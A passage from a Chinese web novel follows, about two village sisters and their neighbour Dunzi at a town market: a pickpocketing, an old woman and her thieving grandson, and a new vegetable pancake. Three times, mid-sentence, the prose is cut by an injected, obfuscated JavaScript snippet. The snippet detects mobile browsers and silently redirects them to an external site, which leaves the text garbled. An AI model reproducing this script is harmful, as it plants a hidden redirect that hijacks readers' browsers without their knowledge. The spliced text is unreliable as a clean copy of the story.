万秋灵点点头，记下墩子的位置，对他道：“我和小兰先到处逛逛，逛完了回来找你。两个背篓就留在这儿了，里面只装了点干粮，没有别的。”是一些噎得不行的粗面饼子，杜氏一早起来烙的。 “好。秋灵姐你们小心些，镇子比村里人多，别走散了。” 万秋灵应下，拉着万小兰融入了人流中。她没有急着买东西，背着太重，逛街还是要松快些才逛得久。 姐妹俩沿着集市的外围慢慢走，镇上比岔路口热闹得多，村里三天赶一次集，这里是每天都有。 摊贩的种类很丰富，除了常见的卖菜卖粮，还有各式生活用具，陶碗、针线、布料……卖吃食的摊子更是五花八门，烧饼、面点、糖水、炸货……随便挑一样问问价格，都比村集市贵不少，光顾的人还是很多。 街道两旁的铺面也陆续开了门，有布庄、药铺、铁匠铺等，铺面都不算大，排列密集，一间挨着一间，构成了最主要的街道。有两家酒肆隔路对着开，路过时能闻到一阵浓烈的酒香。 街上大多是普通百姓，偶尔有穿着华丽、看起来家境不错的人走过，也有像石头那样挑着担子的挑夫，或是赶着驴车牛车运货的。 逛到有一条稍显僻静的街道时，有一个摊子是专卖玩具的，摆放着色彩鲜艳的泥人，风车，以及各式各样的小玩意儿，吸引了万小兰的视线，万秋灵也瞧着新鲜。 有个圆筒状的竹制玩具，用绳子穿起来，另一端连接着小巧的手柄，转动时能发出蝉鸣。 万秋灵好奇地转了两圈，脑瓜子嗡嗡的，确实很还原蝉的叫声，能当闹钟使。 她在村里常被蝉吵醒，听这声音十分头疼，这东西果然只有镇里的人才会买吧！ 万小兰对彩色毽子很感兴趣，每一根羽毛都染成了不同的颜色，在阳光下格外显眼，她拿在手里摸了摸，问价钱。 “三文钱一个。”摊主头也不抬。 万小兰吐了吐舌头，赶紧放回原处，拉着姐姐走了。 “阿姐你看那边，卖的是胭脂吗？盒子真好看。” 万家从前日子过得去，杜氏也买过一些廉价的胭脂，万小兰依稀记得被阿娘放在箱底的漂亮小盒子，她还偷偷拿出来抹过，和那摊子的很像。 万秋灵顺着她指的方向看去。 斜前方的摊子上，铺着一大块干净的布，上面摆了几排小小的圆盒，盒子是用木头做的，盒盖上画着一些鲜花蝴蝶之类的简单图案。 摊前站着一个白裙少女，衣服比周围人都齐整，身边还跟着一个年纪相仿的女孩，衣着粗糙些，手上拎了几摞油纸包，大概是丫鬟。 就在这时，一个七八岁的孩童，像是被人群挤得踉跄了一下，撞到了那个白裙少女身上。 少女惊呼一声，蹙起纤细的眉头，那孩童垂头说了句什么，又慌忙跑开了。白裙少女理了理袖子，没太在意。 万秋灵眯了眯眼睛，目睹了全过程。很常见的盗窃手法，假装撞到人，趁机不知不觉地偷东西。 那孩童手法快速娴熟，一看就是惯犯，等摊前两人发现时，早就不知跑哪儿去了。 她不是冲动的性子，也不想随意惹麻烦，谁知道那孩童有没有别的同伙？万秋灵想了想，凑到万小兰耳边，悄声说了几句。 白裙少女正和丫鬟讨论哪款胭脂好看，旁边来了一个小丫头，探头探脑的，像是对胭脂盒子感到好奇，朝小摊这边走近。丫鬟见她穿着朴素，多观察了几眼。 擦身而过时，那小丫头用气音对少女说：“姐姐，看看你的钱袋子还在不在。” 少女下意识往腰间一探，原本系在腰间的荷包，果然不见了！ 她今日出门带的是一个旧的刺绣荷包，买了一路东西不剩多少钱，顺手就挂在了腰上，没想到竟被人偷了去。若是等付钱时才发现，还不知有多难堪。 旁边的丫鬟问道：“小姐，怎么了？” “钱袋被偷了！刚才那个撞我的孩子，往那边跑了。”少女指着那个孩童消失的方向。 丫鬟赶紧追了过去。 少女这时才回过头，想和出言提醒她的人道谢。可左右张望，那个小丫头早已不见了踪影。 …… 镇子虽然不大，但是两人来的时候就走了远路，几条街逛下来腿脚发酸，便决定先折回去找墩子。 回到墩子的摊子旁，万小兰大声吆喝了一会，帮忙卖出去一个竹篮。 三人肚子都饿了，打算吃点干粮垫垫。万秋灵把杜氏准备的糙面饼子掏出来，掰成两半分给妹妹，墩子给她们匀了点自家的咸菜疙瘩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285576|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼子又干又硬，一口要嚼半天才能咽下去，菜疙瘩齁咸。 万秋灵蹲在大马路边上，眼睛不由自主地瞄向不远处的面摊。 大锅盖子一打开，白色的水汽升腾，摊主快速丢了把面条进去，搅和几下。等面熟透了，用竹笊篱捞出，倒入调好底料的碗里，撒上葱花。 “客官，您的阳春面好嘞！” 万秋灵艰难地啃着饼子，心里泛起了一丝淡淡的忧伤。什么时候才能随心所欲地吃上一碗热汤面呢？没有本钱，赚钱真难啊。饼子好难吃，咸菜也好难吃…… 简单填完肚子，早市也快结束了。墩子还剩几件小竹篮，打算去附近的几家杂货铺问问，万秋灵则带着妹妹去采购东西。 双方约定，在集市外的茶摊附近汇合，位置好找，就在回村的必经之路上。 她们逛街时对比好了几个摊位和铺子，这会儿直奔最划算的去。 精打细算地买了小半罐酱油，一瓶米醋，剩余的大部分钱都买了白面粉。万秋灵本打算买些花椒粉，但价格太贵，不如先在集市多留心有没有野花椒能收，要用时烘炒干磨成粉更香。 竹篓加了东西变得沉实，压肩膀。两人到了集合地，就把背篓放下来歇着。 太阳晒得地面发烫，万秋灵和万小兰蹲在一旁的大树下躲阴凉，和茶摊只隔了几步远，等墩子。 茶摊生意不错，草棚底下摆了三张旧桌子，几乎坐满了。大多是歇脚的汉子，一边喝着粗茶，一边大声地说笑。 交谈声断断续续飘了过来。 “……我回回去抓药，药沫子都舍不得多给一撮。老五不就肩膀受点伤，那孙掌柜抹了零头不说，还送两张膏药。真是太阳打西边出来了。” “老五跟他非亲非故的，孙掌柜咋对他那么大方？” 一个拿着草帽的汉子戏谑道：“这话我也就趁老五不在说说。那孙掌柜就一个独生闺女，一心想招个上门女婿。老五虽然没什么家底，但会点拳脚，模样也周正。孙掌柜肯定打的这主意。” “想找老五当赘婿啊？” “老五有手有脚的，能挣钱，何必赘到他家去？上门女婿多不好听啊，那孙掌柜也不是个好相处的。” “老三你这说的，那孙掌柜又没瞧上你，莫不是嫉妒人家老五……” “去去去！” 几个汉子又就着赘婿的话题调侃了几句，才聊起别的琐事。 万小兰等得无聊，用小石块拨弄着地上的泥土。“阿姐，墩子哥怎么还没来？蚂蚁都搬了好几趟了。” “再等等吧，可能有事情耽搁了。” 又过了好一会儿，茶摊的客人都换了一波，歇脚的几个汉子也走了，依旧不见墩子的身影。 “墩子哥不会出什么事吧？”万小兰扔掉石块，有些担忧道。 万秋灵心里也有些不安，墩子是个实诚人，办完事肯定第一时间赶过来，不会叫她们干等。 她站起身，重新背起竹篓。 “走，我们去找他。” 15. 奇怪的祖孙 街角的一家杂货铺里，地上堆积了不少散的货物，食盒、笸箩、几个小巧的竹篮，还没来得及整理归类。掌柜垂着头，手里的算盘拨得飞快。 “掌柜的，打扰一下。” 掌柜抬头，说话的是一个约十六七岁、面容姣好的少女，身后跟着一个面带忧色的小丫头，两个人都喘着气，似乎是一路跑过来的。 “请问给您卖竹篮的少年，他之后去哪了，您有印象吗？”万秋灵指了指地上的几个竹篮，又抬手比了大致的高度，“他大概这么高，皮肤有点黑，脸圆圆的。” 掌柜停下拨算盘的手，答道：“我知道，那个卖竹编的小子，他常来我这。” 他思索片刻，指向门外的某个方向：“我记得他是往那边去的，具体去哪不知道，走了得有两刻钟了。” “多谢掌柜！” 万秋灵顺着他给的方向，一路打听了过去。 …… 墩子从杂货铺出来，今天运气不错，这家老板收货还算爽快，一口价，几个竹篮一块收了。卖给铺子比摆摊卖赚的少，相当于寄卖，让出一部分收益，就图个省事。 娘昨天叮嘱他带个顶针，纳鞋底子用，这东西刚才的杂货铺就有，但是他知道有个卖针线货的摊子更便宜，于是快步往摊子的方向走去。 走到一条窄巷附近时，忽然听见一声惊呼：“哎哟，这老婆婆是怎么了？？” 墩子循着声音望去。 巷子里，一位头发花白的老妇人瘫坐在地上，半阖着眼睛，似乎是晕倒了。旁边围了三个人，一个中年汉子蹲下拍了拍老婆婆的后背，没有反应。 “醒醒！” “小伙子，快来帮忙搭把手！”中年汉子看到他，连忙喊道。 墩子来不及多想，赶紧跑了过去。 老婆婆意识微弱，四肢无力，根本无法站立，两个人合力把她架了起来。 中年汉子指了个方向：“往这走，里边不远处有家医馆。” 医馆门面不大，挂了一块破旧的牌子，写着“仁安堂”。等把老婆婆抬进去，郎中让他们将人放到了一张窄塌上。 郎中伸手把了把脉：“年岁高，气血亏虚，又骤然劳累，所以才晕厥过去。待扎上几针，疏通经脉便好。” 他回身拿了银针过来，准备施治。 中年汉子见这阵势，郎中看在救人的份上，兴许能便宜点，但总归是要先垫上诊金的。这老婆婆又还没苏醒，不知家人何时能赶来。 他凑到墩子身边，小声道：“小伙子，我家里还有事，实在是着急赶回去……” 墩子还真以为他有什么急事，傻乎乎道：“您有事先去忙吧，这边有我看着就行！” 中年汉子赶紧走了。 郎中正在给人施针，老人一时半会儿也没有醒来的迹象。墩子守在旁边，心里也焦急，秋灵姐和小兰肯定已经在等着他了。 不知过了多久，老婆婆眼皮动了动，缓缓睁开了眼睛。 “婆婆，您醒了！感觉怎么样？”墩子关切地问。 老婆婆声音虚弱，要凑近仔细听才能听见，她嘴唇嗫嚅着：“老婆子我，我好多了……多谢你了，小伙子。” 郎中过来收完针，又仔细查看了一番：“没什么大碍，回去歇息就行。诊金和针钱一共十七文。” 老婆婆听了，慌忙地抖着手从怀里掏钱，却摸了个空。 “我出门急，忘了带钱袋子。”她神情窘迫，目光祈求地看向墩子，“小伙子，能否劳烦你……” “没事婆婆，我先垫上。”他身上有卖竹编赚的钱，幸好是够用的。墩子利落地数好，递给了郎中。 老婆婆又休息片刻，恢复了一些力气，说话也清明许多，坚持要回家。墩子本想替她喊家里人来接，得知只有小孙子一个人，便坚持要送她，老婆婆也不推脱，说是到家就拿钱还。 墩子小心翼翼地搀扶着老婆婆，他胳膊强壮有力，身形敦实，几乎托起了老人的大半身重量。 老人步履颤颤巍巍的，每一步都走得极慢，墩子也耐心等待陪同，没有丝毫的不耐烦。 “我家就在后头的巷子里，不算远。”老人挽着墩子的手，絮絮叨叨唠起了家常，“小伙子，你是个心善的好孩子。将来我孙儿能长成你这样，我也就放心了。有你这么孝顺的孙子，爷爷奶奶真是好福气啊！” 墩子语气却变得有些低落：“我爷爷奶奶……他们……” 他们不会这么觉得。 墩子的爷爷奶奶事事都偏心三叔一家。爷爷是村里手艺最好的篾匠，当初他想学，求了爷爷好久，爷爷才肯答应。可三叔家的儿子，只是随口一说，爷爷就乐呵呵地手把手教他。奶奶也是，有什么好东西，总是紧着堂弟堂妹们。爹虽然不说什么，可他们几个孩子感受得出来。 老婆婆察觉到他情绪的变化，又换了话头：“小伙子，你是镇上的人，还是来办事的？被我这个老婆子耽误了事吧，实在是对不住。” “没有没有，就是卖点东西，已经卖完了。” “以后来镇上啊，多来老婆子家里坐，说说话……”老婆婆说着，抬手指向巷尾的矮屋，“到了，就是那间。” 走近了看，一扇斑驳陈旧的木门紧闭着，门庭萧索。老婆婆提高声音喊：“孙儿，奶奶回来了，开门！” 木门“吱呀”一声打开一条缝，一个穿着灰布褂子的男孩探出头来，看到奶奶被人搀扶着，连忙把门拉开了些，和墩子合力把老人搀扶进屋。 屋里的桌椅板凳都有些年头了，除了靠墙正中的一张条案，没什么像样的家什。 男孩端来一碗水给墩子，陶碗边有一个小缺口，他喝水时没注意，嘴巴被豁到才发现。 墩子几口灌完了水，他确实也渴了。“婆婆，您到家我就放心了。同伴还在等着，我得赶紧去找她们，免得她们担心。” 老婆婆拉住他，对孙子道：“孙儿，去拿钱。这位小恩人垫了十七文诊金，咱得还给人家。” 男孩一言不发地走到里间。 “墩子！” “墩子哥！” 门外忽然传来了万家姐妹急切的声音。 万秋灵和万小兰好不容易打听到墩子救了人，去了医馆。等她们一路跑到医馆，仁安堂的郎中说，那少年扶着老婆婆，往后面巷子去了。 她们又赶紧追出来，一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294428|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸到了这条幽寂无人的巷子里。 “秋灵姐，小兰，我在这！” 墩子三两步跑到那扇破旧的木门后，朝她们挥手。他回头对老妇人道：“婆婆，我的同伴来找我了，我得走了！” 老婆婆的孙子被催促着追到门口，手里拿着一个靛蓝色的刺绣荷包，他倒出铜钱，数了十七枚还给墩子。 若是白裙少女在，一眼便能认出这正是她丢失的钱袋。 突然看到熟悉的荷包，万秋灵一愣，她抬眼打量墩子身后的男孩，约七八岁，身形瘦小，差不多都能对上，只是衣服不同。 虽然她当时只看到了背影，但几乎可以认定，他就是那个扒手。 老婆婆还在挽留，让墩子和同伴们一起歇歇，感激的神情不似作假。 如此荒僻的巷子里，房屋朽败，衣着简朴，孙子却拿出一个格格不入的精致荷包……要么是老糊涂了理不清事，要么，是默许、假装没发现，甚至知情参与。 万秋灵不愿再深想，上前一步，对老婆婆道：“婆婆，我们赶着回村去，路程遥远，不好再多留了。” 墩子本来就因为耽误了汇合而心急，人送到，钱也收回了，连忙附和：“对，婆婆，我们走了，您保重身体。” 三人一起快步离开，身影很快消失在了巷子口。 男孩站在门前，手里还捏着那个刺绣荷包，黑白分明的眼睛默默注视着他们，脸上没什么表情。 …… “秋灵姐，小兰，怪我哩，害你们白等了这么久。”墩子赶紧把前因后果解释了一遍，生怕万秋灵和万小兰觉得他故意耽误时辰，“……婆婆家就在附近，我又垫了钱，就想着送她回家再找你们。” “来的路上已经听说了。墩子，你做的是积德行善的事，救人一命胜造七级浮屠嘛。” 墩子觉得谈不上救命，也不知道什么是浮屠，但秋灵姐不但不怪他，还夸他，墩子心里很是高兴。 此刻强烈的阳光照在身上，万秋灵也不嫌晒，那条偏巷或许是布局有问题，采光不好，让她感觉不太舒服。 她仔细想了想，还是提醒道：“墩子，以后再遇到类似的事情，适当帮忙可以，也要多留个心眼。这种情况，最好还是向大人求助。” “我记住了，秋灵姐。”墩子有些茫然，他也是个小大人了，但还是点点头，“原先是一个大伯先发现婆婆，喊我一块送去的医馆，但他有急事走了，所以才剩我一个人。” 这傻孩子，人家说啥都信，他那是怕老人真有啥事被碰瓷，或者垫了钱被赖账，忽悠一个孩子扛事呢，万秋灵默默吐槽。 “墩子哥，我和阿姐等你半天，差点以为你出什么意外了。后面才知道，你是做好事去了，真了不起！”万小兰听说了墩子救人的英雄事迹，对他非常的钦佩，“那婆婆还喊你常去玩呢，她人真好，连带着也喊我们去！” 万秋灵看着一脸天真烂漫的妹妹和红着脸傻乐的墩子，心里叹了口气。 “那是客套话，你别想着真去麻烦人家，知道不？”万秋灵话里有话，抬手敲了一下万小兰的额头。 “哎呀！我知道了阿姐……你敲到马蜂蛰的包了！痛！” 16. 后遗症之差 从镇上回去的路，显得尤为漫长。 去的时候走了半个多时辰，虽然不近，但走得顺畅，人也很兴奋。回来时，原本只装了干粮的背篓添了新的东西，姐妹俩走走停停，都有点吃不消。 墩子倒是卖完货，担子空了，一身轻松。 他看她们俩走得艰难，想帮忙背背篓，偏偏背篓太小，他身板子壮实，根本挤不进去背带，也不能同时背两个，于是把扁担上的麻绳取下来，把背篓缠好系在扁担的两端，挑起来走，步伐依旧稳当。 “好墩子，回去请你吃鸡蛋羹。”万秋灵赞叹，墩子就算改行做挑夫也是完全够格的。 “不用不用，这东西才多重。我哪好意思天天蹭吃蹭喝的。” 墩子想了想问道：“秋灵姐，你明天是不是又要去岔路口赶集，还卖笋片吗？” “对，还卖炒笋片和野菜饭团。”村集市有一批石头那样的稳定顾客，靠旧两样还能再攒点本钱，才好走下一步。 “那，那明天我想买一点笋片。”他有点不好意思，挠挠头解释，“我家里面也炒笋子，没人爱吃，但是秋灵姐你做的笋片，连我大嫂都夸，说能多吃大半碗饭。我今天赚的钱大部分要交给娘，但我能留一点，想出钱买笋片尝尝。” 其实他尝过腊肠焖饭和鸡蛋烧豆腐之后，对笋片也没那么忘不了，可是腊肠贵，家里只有逢年过节才能偶尔吃上，放平常不敢想，秋灵姐也不做这些菜卖。 有笋片吃就很好了，大哥也提过一嘴可以买，到时候娘念叨起来，还有大哥替他说说话。 万秋灵见他挑着担子健步如飞，心里一动：“这样吧，你要是明天早上得空，就帮我们个忙，把要卖的货送到岔路口去。依旧是帮了忙送笋片，像上次竹签子那样，如何？” 要是能让墩子帮忙送一趟，杜氏能歇着，她和万小兰也减减负。她们背起来吃力的竹篓，墩子挑了两个仍然轻轻松松，对他来说应该不算什么难事，可以多给他炒一些笋子当做运费。 果然，墩子毫不犹豫就答应了。 “没问题，我有空！地里的活我爹和大哥理得顺当，还有我娘搭把手，用不上我。我编篮子也就是闲得没事弄弄，空暇多，明天一早我就过来。” 他答应得爽快，既能帮秋灵姐，又能省下钱，吃到好吃的笋片。“对了，竹签子你们用完了吗？要不我再削点。” “签子还有不少呢。”万小兰抢答，“墩子哥，要不你帮我削一个竹蜻蜓吧？我在镇上看见了，没有买。你削的肯定比摊子还要好！” “行，这个我会，栓子和翠花也爱玩哩，给你们一人做一个。”墩子又拓展了新的业务，还不忘一碗水端平。 好不容易捱到家，万秋灵几乎是瘫在了椅子上，一动也不想动，只剩眼睛时不时眨巴一下证明她还活着。 万小兰有样学样，搬了把椅子排排坐，还要半搂着万秋灵的一条胳膊。 万老爹挪出来，见女儿们平平安安，就是一个个跟霜打了的茄子似的，虽然他拄着拐，但不妨碍他发出无情的嘲讽： “小孩子家家，缺乏锻炼。” 杜氏回来时看到她们这模样，又心疼又好笑，赶紧去做了饭。 等到了第二天，万秋灵在浑身酸痛的状态中醒来，两条腿仿佛灌了铅似的。这熟悉的感觉……回到了大学体测跑完八百米之后的几天，肌肉酸胀不适，走路要扶着墙，下楼梯要扶着栏杆。 她挣扎着坐起来，用手一点一点将双腿挪到炕沿，动作慢得就像是一只笨拙爬行的乌龟。 脑海里有声音叫嚣着：好想躺回去，好想旷工一天！ 当她终于费劲巴拉地出了房门，看到正在打哈欠的万小兰，虽揉着眼睛有些困倦，行动间却十分利索。 转头一看堂屋坐着的墩子，他精神抖擞地帮杜氏包野菜饭团，脸上满是淳朴的笑，往竹筐里装东西时，一会儿站起一会儿坐下，跟没事人一样。 他们走的是同一段路吧？这两个人咋一点后遗症都没有，墩子就算了，怎么连小妹都比她强！ “小兰，你的腿不酸吗？”万秋灵扶着门框，难以置信地问。 “有点酸，但是还好啊。阿姐，你怎么了？脸色有点差，是不是累到了？”她走过来，想扶着姐姐。 “不，我没事，我一点都不累。”万秋灵语气坚定，避开她伸过来的手。 “哦哦，那我先去帮忙。” 万小兰没多想，她无条件相信阿姐的话，阿姐说了没事那就是没事。 “灵儿，你起来了？野菜糙米我提前蒸熟了，马上包好。兰儿，你去生火，等你阿姐炒笋片。” 杜氏把一切安排到位，又笑着看向墩子：“辛苦你这孩子了，等灵儿炒好后，我一会儿把你的那份笋片放在锅里温着，等你回来端走还是热的。” “要得，谢谢杜婶子！”墩子笑得更开心了。 有了墩子这个主力，几人脚程也加快不少。他背着一个大竹筐，手上提着装了瓦罐的包袱，万秋灵和万小兰只需要跟在后头走就行。 万秋灵腿上像坠着沙包，无比庆幸找到了小伙伴帮忙。她咬牙跟上他们的速度，走着走着倒是适应不少。 摆好摊，万秋灵先去屠户那里抢猪骨，屠户也刚开摊，痛痛快快替她剁了包好。 顺利在集市卖完东西，万秋灵能量耗尽，骨头交给了杜氏去炖，她恹恹地躺炕上，休息了好一阵子才缓过来。 身体在休养，脑子却没空闲，规划着下一步。想要到镇上开拓市场，光靠三天一次的村集市速度还是太慢，而且糙米团子利润低，量大了就重，单靠人力运到镇上太麻烦。 万秋灵盯着房梁发呆，卖个什么小吃好呢？ 首先得轻巧，背起来轻松，最好不用带那么多有汤水或者易碎的罐子，炒笋片就不适合。其次，原材料要简单便宜，成本尽可能压低，备货方便。最后，味道要能打，才有竞争力。 三点中最重要的还是成本，卖的出去最好，失败了也能承担得起。 她想到了蔬菜饼，春分时节，家家菜圃里的蔬菜都疯长，菜地里青油油一片，市场上的菜摊子越来越多，价格实惠。 面粉已经从镇上买好，基础的调料也备着了，山里河里还能扒拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303469|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些新鲜的野货作为补充。 蔬菜饼比干烙的、发酵的面饼子重，比野菜饭团轻，一叠叠摞起来装，比瓦罐更好携带。万秋灵觉得完全可以尝试，定价也比村集市高一点，符合镇上的水平，也不枉费她跑那么远。 要是筐里沉重的货物变成更沉重的铜钱，那她是很乐意扛着走的。 说干就干，身上松快了些，万秋灵就开始新品试做。 菜圃里生机勃勃的青菜，山里野生的荠菜，都准备了一些。 洗干净的蔬菜需要切丝，万秋灵找来杜氏帮忙，她切厚点的片和切块还可以，切丝完全是技术盲区。擦丝工具用习惯了，擦出来大小相同，效率也高，离开擦丝器，万秋灵只能切出粗细不匀的条状甚至块状物。 等蔬菜切成细丝，先用手攥一攥，挤压出多余的水分，然后调味。加入适当的盐，一点酱油增味，一小撮虾粉提鲜，搅拌均匀。 家里没有面引子，做不了蓬松发酵的面食，但实面饼也能做得好吃。 白面加水成糊状，将蔬菜丝混合，用木勺挖取定量面糊倒入锅中，摊成巴掌大小的圆饼，煎到两面金黄就完成了。 随着滋滋油响，混合着面食的麦香、猪油醇香和蔬菜清香的气息从灶屋飘到了堂屋。 万秋灵摊了几个就收手，切成四分块，先尝尝味道。 万老爹正喝着炖好的猪骨汤。 杜氏只放了一点点盐和葱花，口味很清淡，骨头没焯水撇掉浮沫，有一股腥味，万小兰喝了两口就不要了，杜氏说万老爹是病人，让他多喝。 他摇摇头，大女儿也让他多啃点骨头，说什么以形补形。也就骨头上带着些肉筋能嗦两口，还能把骨头嚼碎了咽下去不成？ 但毕竟是女儿孝敬的，万老爹也不好多问，多喝几口骨头汤确实是补的。 这会儿等着灶屋的动静，鼻子嗅了嗅：“捣鼓的啥呢？闻着还挺香。” 万老爹看见端出来的是一盘死面饼子，瞬间失了兴趣，跟烙馍一样噎挺，放油都算白费。 这么想着，手上却已经诚实地拿起了一块。 咬下一口，这饼子的表面不是硬，而是焦。里面是柔软的面，还有清甜的菜丝，嚼着毫不费劲，越嚼越有回甘，完全不是想象中干硬的死面饼。 万老爹下意识把手指头上粘的油都舔了舔，假装若无其事拿起猪骨头啃。 “咳咳……还行，这白面做的东西果然是香。” 杜氏一向是捧场的，只夸好吃，当饭当零嘴都行。万小兰在做饼的时候就偷尝不少，只顾着吃。 万秋灵坐下尝了尝，口感还行，调味稍微有些淡。 “这个算是基础版，如果面糊里再敲几个鸡蛋，面饼会更蓬松柔软。等有条件了，用发酵好的面做皮，包上更丰富的馅料，做成馅饼、烤饼，又是新的风味，不过那是另外的价钱了。” “更丰富的馅料？”万小兰眼睛冒光。 “比如加上肉混着，做半肉馅，也可以做纯肉馅的。” 万小兰吃着饼，又听姐姐画着饼，心情美得很，加蛋加肉，咱家也是好起来了！ 17. 什锦菜饼 万秋灵吃了几口却发现新的问题——饼子的外形。 用勺子随意摊出来的饼，大小形状厚薄都不同，虽然不影响味道，但卖相这方面就落了下乘。 想把价格提上去，“表面”功夫得做到位，卖相好的食物更能卖出价钱。 “得想办法让它们长得一样。” 万秋灵想起以前见过的推车小摊，做车轮饼或者鸡蛋汉堡，都会用到圆形的模具，每一个都整齐又规整。铁皮模具要定做，家里没有，但是有竹子啊！ 她立刻跑去找墩子帮忙，比划了大小和高度。 “大概两指半这么高，要选粗一点的竹筒，截面最好这么大，”她圈出自己掌心的范围，“竹子截口磨光滑些，能做不？” 墩子不明白这样的圆竹圈能干嘛，只当是什么新玩具，他翻找出一截粗的竹筒：“这个大小就合适，等我锯开，把边缘磨齐整，就不扎手了。” 解决完模具的事，万秋灵又想到可以在色彩上有所改进。蔬菜的绿加上白面煎熟后的黄有些单调，最好是能混些胡萝卜丝，但胡萝卜还没长成…… 她看向墙角的木盆，里面是万小兰这两天去河边捞的小河虾，大部分都被杜氏烘干捣成粉末，虾粉罐子空了总是能及时补充。 盆里是还剩下的一些，在清水里养着，偶尔蹦跳两下。 万秋灵招呼妹妹：“小兰，咱们把剩下的虾米处理一下。”她决定就用虾米了，既能丰富颜色，又能增加鲜味。 将处理好的河虾洗净，倒入开水当中焯烫。几息的功夫，透明的小虾就变成了橙红色，简单过了遍水，就捞出来沥干，放在灶膛边烘着。 等墩子把做好的竹制模具送过来，万秋灵开始第二次试菜。 这次准备更加充分，烘干的小虾米用刀切成小碎块，摆在一旁，面糊调味也做了调整。 铁锅烧热，万秋灵拿出一块屠户送的猪皮边料，在锅里擦出薄薄一层油，又用筷子夹着沾油的布头，在模具内侧抹上一圈，这才把模具放到锅里。 先在每个模具的底部撒上几颗虾米碎，再把面糊舀进去，等待成型。 土灶的铁锅大，能放下很多模具，但毕竟不是平底，模具和锅做不到完全贴合。万秋灵把面糊调的浓稠，边缘只渗透出少许，影响不大，可以等饼子熟后用刀刮掉。 很快，贴着锅底的面糊开始凝固变色，与模具内壁微微分离。等定好型，小心地用锅铲将整个模具连同半成型的饼一起翻过去，上面正是撒了虾米的那层，虾米嵌入饼中，点点橙红，很是醒目。 两面煎透，用筷子夹着模具向上提，很快就脱模，再将饼滚滚边，一个圆润规整的蔬菜饼就做好了。 …… “墩子，你这又是端的什么？” 墩子娘正把熬好的小米粥往碗里盛，见儿子端着东西走进来，圆乎乎的，颜色挺鲜亮，不像馒头，也不像烙饼。 “又是万家做的？” “嗯，秋灵姐新做的，她说这个叫什锦菜饼。”墩子把东西小心地放在案板上。 “十斤？”墩子娘擦擦手，凑近了些，“这哪有十斤？半斤都没得！” 墩子解释道：“娘，不是几斤的斤，是‘什锦’。秋灵姐说，就是很多花样混在一起的意思。” 其实他也不太明白，那不就是大杂烩吗，不过什锦确实要好听一些。 墩子娘“哦”了一声，不怎么关心名字，又问他：“你没花钱吧？” 昨天墩子端回来一碗油亮热乎的笋片，她还以为是儿子嘴馋花钱买的，差点抄起烧火棍揍他一顿，后来知道是跑腿送东西换来的才作罢。 墩子娘现在对隔壁很警惕。 万家丫头和周家那出她是看在眼里的，心里也痛快，她家也得到了周家赔的鸡蛋。 这丫头是个有本事的，就是太有本事了！跟她爹学了手艺，一会儿笋片，一会儿又来个没见过的“十斤饼”，勾得墩子天天惦记万家的吃食。 她心里琢磨着，要是一家人胃口被养刁了，往后只想拿钱去买万家的吃食，那还得了？有什么是自家不能做的，不是浪费钱嘛！ “没花钱，”墩子老老实实摇头，“秋灵姐说谢谢我帮忙，也谢谢咱家平时关照，所以送来吃的。” 一听到不要钱，墩子娘就放心了，也不去管是帮了什么忙送的，自家儿子她知道，不是爱占便宜的人。 她心里的警惕暂时让了位，接过饼：“要分着吃得切切，我来。” 吃饭时，墩子娘特意把切好的饼块放在角落里，不那么显眼，试图降低它的威胁。 一家人照例是先呼噜几口粥，垫肚子，余光却都瞄着那碟颜色不一样的吃食。 几人哪里看不出墩子娘的小心思，只闷着喝粥时假装不经意伸筷子，也就栓子和翠花直接大大方方地吃。 墩子娘也夹了一小块，才嚼吧两下，就隐隐觉得不妙。 这东西名字虽然是饼子，吃起来却软乎得不行，瞧着也没发面，用的也不是最顶好的面粉，咋就这么软和？不光软，还味道十足，几种菜蔬丝混着，上面还缀了几颗虾米，也是真会琢磨。 她心里有些不是滋味，她还在研究怎么把笋子做得不涩口，刚摸着点门道，隔壁又出了新招。 不知不觉一块就吃完了，下意识又想夹点。结果一愣神的功夫，角落里一碟子饼就见底了。 王大牛把夹到的最后一块悄悄拨给身边的媳妇，大牛媳妇脸微红，低头小口吃了。 “墩子，”王大牛咂咂嘴，“这东西，秋灵也是拿出去卖的吧？”他又想着，只要价格不太离谱，偶尔买一回，给媳妇儿解解馋。 墩子点头：“秋灵姐说打算去镇上卖，镇上舍得花钱买吃食的人多些。” “那，这么一个饼，得多少钱？”大牛问出了全家除墩子娘以外都关心的问题，栓子和翠花眼巴巴望着二哥，墩子爹也放慢了动作。 墩子回想了一下：“秋灵姐说，三文钱能买两个。” “三文两个！” …… “三文两个？” 挎着篮子的妇人看了看饼子，最终还是摇摇头走了。这已经是第三个问完价离开的客人。 